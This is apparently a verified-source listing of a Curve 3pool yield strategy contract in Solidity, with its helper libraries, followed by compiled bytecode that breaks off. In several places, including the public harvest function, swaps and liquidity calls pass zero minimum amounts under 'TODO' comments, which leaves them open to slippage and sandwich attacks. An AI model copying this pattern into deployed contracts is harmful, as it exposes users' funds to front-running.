extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // interface ICurveFi { function get_virtual_price() external view returns (uint256); function add_liquidity( // sBTC pool uint256[3] calldata amounts, uint256 min_mint_amount ) external; function add_liquidity( // bUSD pool uint256[4] calldata amounts, uint256 min_mint_amount ) external; function remove_liquidity_imbalance(uint256[4] calldata amounts, uint256 max_burn_amount) external; function remove_liquidity(uint256 _amount, uint256[4] calldata amounts) external; function exchange( int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount ) external; } interface ICurveDeposit { function get_virtual_price() external view returns (uint256); function add_liquidity( // renBTC pool uint256[2] calldata amounts, uint256 min_mint_amount ) external; function add_liquidity( // sBTC pool uint256[3] calldata amounts, uint256 min_mint_amount ) external; function add_liquidity( // bUSD pool uint256[4] calldata amounts, uint256 min_mint_amount ) external; function remove_liquidity_one_coin(uint256 _amount, int128 _i, uint256 _min_uamount) external; // function remove_liquidity_one_coin(uint256 _amount, int128 _i, uint256 _min_uamount, bool _donate_dust) external; function remove_liquidity(uint256 _amount, uint256[4] calldata amounts) external; function exchange( int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount ) external; function calc_withdraw_one_coin(uint256 _amount, int128 _index) external view returns(uint256); } // interface Gauge { function deposit(uint256) external; function balanceOf(address) external view returns (uint256); function withdraw(uint256) external; } // interface Uni { function swapExactTokensForTokens( uint256, uint256, address[] calldata, address, uint256 ) external; function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); } interface IController { function withdraw(address, uint256) external; function balanceOf(address) external view returns (uint256); function earn(address, uint256) external; function want(address) external view returns (address); function rewards() external view returns (address); function vaults(address) external view returns (address); } // interface Mintr { function mint(address) external; } // contract StrategyCurve3TokenPool { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; uint256 public constant N_COINS = 3; uint256 public immutable WANT_COIN_INDEX; address public immutable want; address public immutable crvLP; address public immutable curveDeposit; address public immutable gauge; address public immutable mintr; address public immutable crv; address public immutable uni; // used for crv <> weth <> dai route address public immutable weth; string private name; // DAI, USDC, USDT, TUSD address[N_COINS] public coins; uint256[N_COINS] public ZEROS = [uint256(0), uint256(0), uint256(0)]; uint256 public performanceFee = 500; uint256 public immutable performanceMax = 10000; uint256 public withdrawalFee = 0; uint256 public immutable withdrawalMax = 10000; address public governance; address public controller; address public timelock; constructor ( address _controller, string memory _name, uint256 _wantCoinIndex, address[N_COINS] memory _coins, address _curveDeposit, address _gauge, address _crvLP, address _crv, address _uni, address _mintr, address _weth, address _timelock ) public { governance = msg.sender; controller = _controller; name = _name; WANT_COIN_INDEX = _wantCoinIndex; want = _coins[_wantCoinIndex]; coins = _coins; curveDeposit = _curveDeposit; gauge = _gauge; crvLP = _crvLP; crv = _crv; uni = _uni; mintr = _mintr; weth = _weth; timelock = _timelock; } function getName() external view returns (string memory) { return name; } function setWithdrawalFee(uint256 _withdrawalFee) external { require(msg.sender == governance, "!governance"); require(_withdrawalFee < withdrawalMax, "inappropriate withdraw fee"); withdrawalFee = _withdrawalFee; } function setPerformanceFee(uint256 _performanceFee) external { require(msg.sender == governance, "!governance"); require(_performanceFee < performanceMax, "inappropriate performance fee"); performanceFee = _performanceFee; } function deposit() public { _deposit(WANT_COIN_INDEX); } function _deposit(uint256 _coinIndex) internal { require(_coinIndex < N_COINS, "index exceeded bound"); address coinAddr = coins[_coinIndex]; uint256 wantAmount = IERC20(coinAddr).balanceOf(address(this)); if (wantAmount > 0) { IERC20(coinAddr).safeApprove(curveDeposit, 0); IERC20(coinAddr).safeApprove(curveDeposit, wantAmount); uint256[N_COINS] memory amounts = ZEROS; amounts[_coinIndex] = wantAmount; // TODO: add minimun mint amount if required ICurveDeposit(curveDeposit).add_liquidity(amounts, 0); } uint256 crvLPAmount = IERC20(crvLP).balanceOf(address(this)); if (crvLPAmount > 0) { IERC20(crvLP).safeApprove(gauge, 0); IERC20(crvLP).safeApprove(gauge, crvLPAmount); Gauge(gauge).deposit(crvLPAmount); } } // Withdraw all funds, normally used when migrating strategies function withdrawAll() external returns (uint256 balance) { require(msg.sender == controller, "!controller"); uint256 _amount = Gauge(gauge).balanceOf(address(this)); Gauge(gauge).withdraw(_amount); IERC20(crvLP).safeApprove(curveDeposit, 0); IERC20(crvLP).safeApprove(curveDeposit, _amount); // TODO: add minimun mint amount if required ICurveDeposit(curveDeposit).remove_liquidity_one_coin(_amount, int128(WANT_COIN_INDEX), 0); balance = IERC20(want).balanceOf(address(this)); address _vault = IController(controller).vaults(address(want)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, balance); } function withdraw(uint256 _amount) external { require(msg.sender == controller, "!controller"); uint256 _balance = IERC20(want).balanceOf(address(this)); if (_balance < _amount) { _withdrawSome(_amount.sub(_balance)); _amount = IERC20(want).balanceOf(address(this)); } uint256 _fee = _amount.mul(withdrawalFee).div(withdrawalMax); IERC20(want).safeTransfer(IController(controller).rewards(), _fee); address _vault = IController(controller).vaults(address(want)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_vault, _amount.sub(_fee)); } function _withdrawSome(uint256 _amount) internal { if (_amount > balanceOfGauge()) { _amount = balanceOfGauge(); } Gauge(gauge).withdraw(_amount); IERC20(crvLP).safeApprove(curveDeposit, 0); IERC20(crvLP).safeApprove(curveDeposit, _amount); // TODO: add minimun mint amount if required ICurveDeposit(curveDeposit).remove_liquidity_one_coin(_amount, int128(WANT_COIN_INDEX), 0); } // Controller only function for creating additional rewards from dust function withdraw(IERC20 _asset) external returns (uint256 balance) { require(msg.sender == controller, "!controller"); for (uint i = 0; i < N_COINS; ++i) { require(coins[i] != address(_asset), "internal token"); } require(crv != address(_asset), "crv"); require(crvLP != address(_asset), "crvLP"); balance = _asset.balanceOf(address(this)); _asset.safeTransfer(controller, balance); } function harvest(uint _coinIndex) public { require(_coinIndex < N_COINS, "index exceeded bound"); Mintr(mintr).mint(gauge); address harvestingCoin = coins[_coinIndex]; uint256 _crv = IERC20(crv).balanceOf(address(this)); if (_crv > 0) { IERC20(crv).safeApprove(uni, 0); IERC20(crv).safeApprove(uni, _crv); address[] memory path = new address[](3); path[0] = crv; path[1] = weth; path[2] = harvestingCoin; // TODO: add minimun mint amount if required Uni(uni).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now.add(1800)); } uint256 harvestAmount = IERC20(harvestingCoin).balanceOf(address(this)); if (harvestAmount > 0) { uint256 _fee = harvestAmount.mul(performanceFee).div(performanceMax); IERC20(harvestingCoin).safeTransfer(IController(controller).rewards(), _fee); _deposit(_coinIndex); } } function balanceOfWant() public view returns (uint256) { return IERC20(want).balanceOf(address(this)); } function balanceOfGauge() public view returns (uint256) { return Gauge(gauge).balanceOf(address(this)); } function balanceOfPool() public view returns (uint256) { uint256 gaugeBalance = balanceOfGauge(); // NOTE: this is for curve 3 pool only, since calc_withdraw_one_coin // would raise error when input 0 amount if (gaugeBalance == 0) { return 0; } // portfolio virtual price (for calculating profit) scaled up by 1e18 uint256 price = ICurveDeposit(curveDeposit).get_virtual_price(); uint256 _amount = gaugeBalance.mul(price).div(1e18); return convertToCoinAmount(uint128(WANT_COIN_INDEX), _amount); } function convertToCoinAmount(uint128 _index, uint256 _amount) public view returns (uint256){ if (_index == 0) { return _amount; } else if (_index == 1) { //usdc decmials is 6 return _amount.div(1e12); } //usdt decmials is 6 return _amount.div(1e12); } function balanceOf() public view returns (uint256) { return balanceOfWant().add(balanceOfPool()); } function setGovernance(address _governance) external { require(msg.sender == timelock, "!timelock"); governance = _governance; } function setController(address _controller) external { require(msg.sender == timelock, "!timelock"); controller = _controller; } function setTimelock(address _timelock) public { require(msg.sender == timelock, "!timelock"); timelock = _timelock; } }
0x608060405234801561001057600080fd5b50600436106102115760003560e01c8063887ee97111610125578063c1a3d44c116100ad578063d33219b41161007c578063d33219b4146104b0578063d5c1ff73146104b8578063ddc63262146104c0578063edc9af95146104dd578063f77c4791146104e557610211565b8063c1a3d44c1461047b578063c661065714610483578063d0e30db0146104a0578063d1e61dcb146104a857610211565b8063a6f19c84116100f4578063a6f19c84146103ed578063ab033ea9146103f5578063ac1e50251461041b578063ae164f2914610438578063bdacb3031461045557610211565b8063887ee971146103af5780638bc7e8c4146103b757806392eefe9b146103bf57806396c8e84d146103e557610211565b80635aa6e675116101a8578063722713f711610177578063722713f7146103875780637cc791131461038f578063839cfbb114610397578063853828b61461039f57806387788782146103a757610211565b80635aa6e675146103525780636a4874a11461035a5780636f4f0e481461036257806370897b231461036a57610211565b806329357750116101e457806329357750146102fd5780632e1a7d4d146103055780633fc8cef31461032457806351cff8d91461032c57610211565b8063115880861461021657806317d7de7c146102305780631f1fcd51146102ad578063239c521d146102d1575b600080fd5b61021e6104ed565b60408051918252519081900360200190f35b6102386105e5565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561027257818101518382015260200161025a565b50505050905090810190601f16801561029f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102b561067b565b604080516001600160a01b039092168252519081900360200190f35b61021e600480360360408110156102e757600080fd5b506001600160801b03813516906020013561069f565b61021e6106f6565b6103226004803603602081101561031b57600080fd5b50356106fb565b005b6102b5610aa7565b61021e6004803603602081101561034257600080fd5b50356001600160a01b0316610acb565b6102b5610d06565b6102b5610d15565b61021e610d39565b6103226004803603602081101561038057600080fd5b5035610d5d565b61021e610e23565b61021e610e43565b61021e610e67565b61021e610f07565b61021e61137f565b6102b5611385565b61021e6113a9565b610322600480360360208110156103d557600080fd5b50356001600160a01b03166113af565b6102b561141c565b6102b5611440565b6103226004803603602081101561040b57600080fd5b50356001600160a01b0316611464565b6103226004803603602081101561043157600080fd5b50356114d1565b61021e6004803603602081101561044e57600080fd5b5035611597565b6103226004803603602081101561046b57600080fd5b50356001600160a01b03166115ab565b61021e611618565b6102b56004803603602081101561049957600080fd5b5035611687565b6103226116a4565b6102b56116cf565b6102b56116f3565b61021e611702565b610322600480360360208110156104d657600080fd5b5035611726565b6102b5611ca0565b6102b5611cc4565b6000806104f8610e67565b9050806105095760009150506105e2565b60007f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c76001600160a01b031663bb7b8b806040518163ffffffff1660e01b815260040160206040518083038186803b15801561056457600080fd5b505afa158015610578573d6000803e3d6000fd5b505050506040513d602081101561058e57600080fd5b5051905060006105b0670de0b6b3a76400006105aa8585611cd3565b90611d2c565b90506105dc7f00000000000000000000000000000000000000000000000000000000000000018261069f565b93505050505b90565b60008054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106715780601f1061064657610100808354040283529160200191610671565b820191906000526020600020905b81548152906001019060200180831161065457829003601f168201915b5050505050905090565b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881565b60006001600160801b0383166106b65750806106f0565b826001600160801b0316600114156106de576106d78264e8d4a51000611d2c565b90506106f0565b6106ed8264e8d4a51000611d2c565b90505b92915050565b600381565b600a546001600160a01b03163314610748576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b60007f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156107b757600080fd5b505afa1580156107cb573d6000803e3d6000fd5b505050506040513d60208110156107e157600080fd5b5051905081811015610894576107ff6107fa8383611d6e565b611db0565b604080516370a0823160e01b815230600482015290516001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4816916370a08231916024808301926020929190829003018186803b15801561086557600080fd5b505afa158015610879573d6000803e3d6000fd5b505050506040513d602081101561088f57600080fd5b505191505b60006108cf7f00000000000000000000000000000000000000000000000000000000000027106105aa60085486611cd390919063ffffffff16565b905061097f600a60009054906101000a90046001600160a01b03166001600160a01b0316639ec5a8946040518163ffffffff1660e01b815260040160206040518083038186803b15801561092257600080fd5b505afa158015610936573d6000803e3d6000fd5b505050506040513d602081101561094c57600080fd5b50516001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48169083611f9d565b600a5460408051632988bb9f60e21b81526001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48811660048301529151600093929092169163a622ee7c91602480820192602092909190829003018186803b1580156109f057600080fd5b505afa158015610a04573d6000803e3d6000fd5b505050506040513d6020811015610a1a57600080fd5b505190506001600160a01b038116610a62576040805162461bcd60e51b8152602060048201526006602482015265085d985d5b1d60d21b604482015290519081900360640190fd5b610aa181610a708685611d6e565b6001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48169190611f9d565b50505050565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b600a546000906001600160a01b03163314610b1b576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b60005b6003811015610b9557826001600160a01b031660018260038110610b3e57fe5b01546001600160a01b03161415610b8d576040805162461bcd60e51b815260206004820152600e60248201526d34b73a32b93730b6103a37b5b2b760911b604482015290519081900360640190fd5b600101610b1e565b50816001600160a01b03167f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd526001600160a01b03161415610c03576040805162461bcd60e51b815260206004820152600360248201526231b93b60e91b604482015290519081900360640190fd5b816001600160a01b03167f0000000000000000000000006c3f90f043a72fa612cbac8115ee7e52bde6e4906001600160a01b03161415610c72576040805162461bcd60e51b815260206004820152600560248201526406372764c560dc1b604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516001600160a01b038416916370a08231916024808301926020929190829003018186803b158015610cb857600080fd5b505afa158015610ccc573d6000803e3d6000fd5b505050506040513d6020811015610ce257600080fd5b5051600a54909150610d01906001600160a01b03848116911683611f9d565b919050565b6009546001600160a01b031681565b7f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd5281565b7f000000000000000000000000000000000000000000000000000000000000000181565b6009546001600160a01b03163314610daa576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b7f00000000000000000000000000000000000000000000000000000000000027108110610e1e576040805162461bcd60e51b815260206004820152601d60248201527f696e617070726f70726961746520706572666f726d616e636520666565000000604482015290519081900360640190fd5b600755565b6000610e3e610e306104ed565b610e38611618565b90611ff4565b905090565b7f000000000000000000000000000000000000000000000000000000000000271081565b60007f000000000000000000000000bfcf63294ad7105dea65aa58f8ae5be2d9d0952a6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610ed657600080fd5b505afa158015610eea573d6000803e3d6000fd5b505050506040513d6020811015610f0057600080fd5b5051905090565b600a546000906001600160a01b03163314610f57576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b60007f000000000000000000000000bfcf63294ad7105dea65aa58f8ae5be2d9d0952a6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610fc657600080fd5b505afa158015610fda573d6000803e3d6000fd5b505050506040513d6020811015610ff057600080fd5b505160408051632e1a7d4d60e01b81526004810183905290519192506001600160a01b037f000000000000000000000000bfcf63294ad7105dea65aa58f8ae5be2d9d0952a1691632e1a7d4d9160248082019260009290919082900301818387803b15801561105e57600080fd5b505af1158015611072573d6000803e3d6000fd5b506110cd9250506001600160a01b037f0000000000000000000000006c3f90f043a72fa612cbac8115ee7e52bde6e4901690507f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c7600061204e565b6111216001600160a01b037f0000000000000000000000006c3f90f043a72fa612cbac8115ee7e52bde6e490167f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c78361204e565b60408051630d2680e960e11b8152600481018390527f0000000000000000000000000000000000000000000000000000000000000001600f0b602482015260006044820181905291516001600160a01b037f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c71692631a4d01d2926064808201939182900301818387803b1580156111b757600080fd5b505af11580156111cb573d6000803e3d6000fd5b5050604080516370a0823160e01b815230600482015290516001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb481693506370a0823192506024808301926020929190829003018186803b15801561123557600080fd5b505afa158015611249573d6000803e3d6000fd5b505050506040513d602081101561125f57600080fd5b5051600a5460408051632988bb9f60e21b81526001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48811660048301529151939550600093919092169163a622ee7c916024808301926020929190829003018186803b1580156112d457600080fd5b505afa1580156112e8573d6000803e3d6000fd5b505050506040513d60208110156112fe57600080fd5b505190506001600160a01b038116611346576040805162461bcd60e51b8152602060048201526006602482015265085d985d5b1d60d21b604482015290519081900360640190fd5b61137a6001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48168285611f9d565b505090565b60075481565b7f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c781565b60085481565b600b546001600160a01b031633146113fa576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b7f0000000000000000000000006c3f90f043a72fa612cbac8115ee7e52bde6e49081565b7f000000000000000000000000bfcf63294ad7105dea65aa58f8ae5be2d9d0952a81565b600b546001600160a01b031633146114af576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b6009546001600160a01b0316331461151e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b7f00000000000000000000000000000000000000000000000000000000000027108110611592576040805162461bcd60e51b815260206004820152601a60248201527f696e617070726f70726961746520776974686472617720666565000000000000604482015290519081900360640190fd5b600855565b600481600381106115a457fe5b0154905081565b600b546001600160a01b031633146115f6576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b60007f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610ed657600080fd5b6001816003811061169457fe5b01546001600160a01b0316905081565b6116cd7f0000000000000000000000000000000000000000000000000000000000000001612161565b565b7f000000000000000000000000d061d61a4d941c39e5453435b6345dc261c2fce081565b600b546001600160a01b031681565b7f000000000000000000000000000000000000000000000000000000000000271081565b60038110611772576040805162461bcd60e51b81526020600482015260146024820152731a5b99195e08195e18d95959195908189bdd5b9960621b604482015290519081900360640190fd5b7f000000000000000000000000d061d61a4d941c39e5453435b6345dc261c2fce06001600160a01b0316636a6278427f000000000000000000000000bfcf63294ad7105dea65aa58f8ae5be2d9d0952a6040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050600060405180830381600087803b15801561180157600080fd5b505af1158015611815573d6000803e3d6000fd5b5050505060006001826003811061182857fe5b0154604080516370a0823160e01b815230600482015290516001600160a01b0392831693506000927f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd5216916370a08231916024808301926020929190829003018186803b15801561189857600080fd5b505afa1580156118ac573d6000803e3d6000fd5b505050506040513d60208110156118c257600080fd5b505190508015611b42576119216001600160a01b037f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd52167f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d600061204e565b6119756001600160a01b037f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd52167f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8361204e565b604080516003808252608082019092526060916020820183803683370190505090507f000000000000000000000000d533a949740bb3306d119cc777fa900ba034cd52816000815181106119c557fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110611a1357fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508281600281518110611a4157fe5b6001600160a01b0392831660209182029290920101527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d166338ed17398360008430611a8f42610708611ff4565b6040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015611aff578181015183820152602001611ae7565b505050509050019650505050505050600060405180830381600087803b158015611b2857600080fd5b505af1158015611b3c573d6000803e3d6000fd5b50505050505b6000826001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015611b9157600080fd5b505afa158015611ba5573d6000803e3d6000fd5b505050506040513d6020811015611bbb57600080fd5b505190508015610aa1576000611c007f00000000000000000000000000000000000000000000000000000000000027106105aa60075485611cd390919063ffffffff16565b9050611c90600a60009054906101000a90046001600160a01b03166001600160a01b0316639ec5a8946040518163ffffffff1660e01b815260040160206040518083038186803b158015611c5357600080fd5b505afa158015611c67573d6000803e3d6000fd5b505050506040513d6020811015611c7d57600080fd5b50516001600160a01b0386169083611f9d565b611c9985612161565b5050505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b600a546001600160a01b031681565b600082611ce2575060006106f0565b82820282848281611cef57fe5b04146106ed5760405162461bcd60e51b81526004018080602001828103825260218152602001806128c46021913960400191505060405180910390fd5b60006106ed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061256e565b60006106ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612610565b611db8610e67565b811115611dca57611dc7610e67565b90505b7f000000000000000000000000bfcf63294ad7105dea65aa58f8ae5be2d9d0952a6001600160a01b0316632e1a7d4d826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611e3057600080fd5b505af1158015611e44573d6000803e3d6000fd5b50611e9f9250506001600160a01b037f0000000000000000000000006c3f90f043a72fa612cbac8115ee7e52bde6e4901690507f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c7600061204e565b611ef36001600160a01b037f0000000000000000000000006c3f90f043a72fa612cbac8115ee7e52bde6e490167f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c78361204e565b60408051630d2680e960e11b8152600481018390527f0000000000000000000000000000000000000000000000000000000000000001600f0b602482015260006044820181905291516001600160a01b037f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c71692631a4d01d2926064808201939182900301818387803b158015611f8957600080fd5b505af1158015611c99573d6000803e3d6000fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052611fef90849061266a565b505050565b6000828201838110156106ed576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b8015806120d4575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b1580156120a657600080fd5b505afa1580156120ba573d6000803e3d6000fd5b505050506040513d60208110156120d057600080fd5b5051155b61210f5760405162461bcd60e51b815260040180806020018281038252603681526020018061290f6036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b179052611fef90849061266a565b600381106121ad576040805162461bcd60e51b81526020600482015260146024820152731a5b99195e08195e18d95959195908189bdd5b9960621b604482015290519081900360640190fd5b6000600182600381106121bc57fe5b0154604080516370a0823160e01b815230600482015290516001600160a01b03909216925060009183916370a08231916024808301926020929190829003018186803b15801561220b57600080fd5b505afa15801561221f573d6000803e3d6000fd5b505050506040513d602081101561223557600080fd5b50519050801561239e576122746001600160a01b0383167f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c7600061204e565b6122a86001600160a01b0383167f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c78361204e565b6122b06128a5565b6040805160608101918290529060049060039082845b8154815260200190600101908083116122c65750505050509050818185600381106122ed57fe5b6020020152604051634515cef360e01b81526001600160a01b037f000000000000000000000000bebc44782c7db0a1a60cb6fe97d0b483032ff1c71690634515cef390839060009060040180836060808383875b83811015612359578181015183820152602001612341565b5050505090500182815260200192505050600060405180830381600087803